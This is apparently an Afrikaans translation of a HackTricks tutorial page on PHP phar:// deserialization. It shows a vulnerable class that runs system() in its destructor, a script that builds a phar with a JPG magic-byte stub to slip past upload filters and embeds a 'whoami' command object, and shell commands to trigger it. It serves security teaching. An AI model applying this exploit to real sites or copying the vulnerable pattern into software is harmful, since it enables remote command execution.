mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
108 lines
5 KiB
Markdown
108 lines
5 KiB
Markdown
# phar:// deserialisasie
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
|
|
|
</details>
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende skriftelike en mondelinge Pools vereis_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
**Phar**-lêers (PHP Archive) lêers **bevat meta-data in geserializeerde formaat**, so wanneer dit geanaliseer word, word hierdie **metadata** **gedeserializeer** en jy kan probeer om 'n **deserialisasie**-kwesbaarheid binne die **PHP**-kode te misbruik.
|
|
|
|
Die beste ding van hierdie eienskap is dat hierdie deserialisasie selfs sal plaasvind wanneer PHP-funksies gebruik word wat nie PHP-kode evalueer nie, soos **file\_get\_contents(), fopen(), file() of file\_exists(), md5\_file(), filemtime() of filesize()**.
|
|
|
|
Stel jou nou 'n situasie voor waar jy 'n PHP-webwerf kan laat die grootte van 'n willekeurige lêer kry deur die **`phar://`**-protokol te gebruik, en binne die kode vind jy 'n **klas** soortgelyk aan die volgende:
|
|
|
|
{% code title="vunl.php" %}
|
|
```php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
{% endcode %}
|
|
|
|
Jy kan 'n **phar**-lêer skep wat, wanneer dit gelaai word, hierdie klas misbruik om willekeurige opdragte uit te voer met iets soos:
|
|
|
|
{% code title="create_phar.php" %}
|
|
```php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Let daarop hoe die **sielkundige bytes van JPG** (`\xff\xd8\xff`) aan die begin van die phar-lêer toegevoeg word om **moontlike** lêer **oplaai-beperkings** te **omseil**.\
|
|
**Kompileer** die `test.phar`-lêer met:
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
En voer die `whoami` bevel uit deur misbruik te maak van die kwesbare kode met:
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
### Verwysings
|
|
|
|
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
|
|
|
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
As jy belangstel in 'n **hackerloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende skriftelike en mondelinge Pools vereis_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
|
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
|
|
|
</details>
|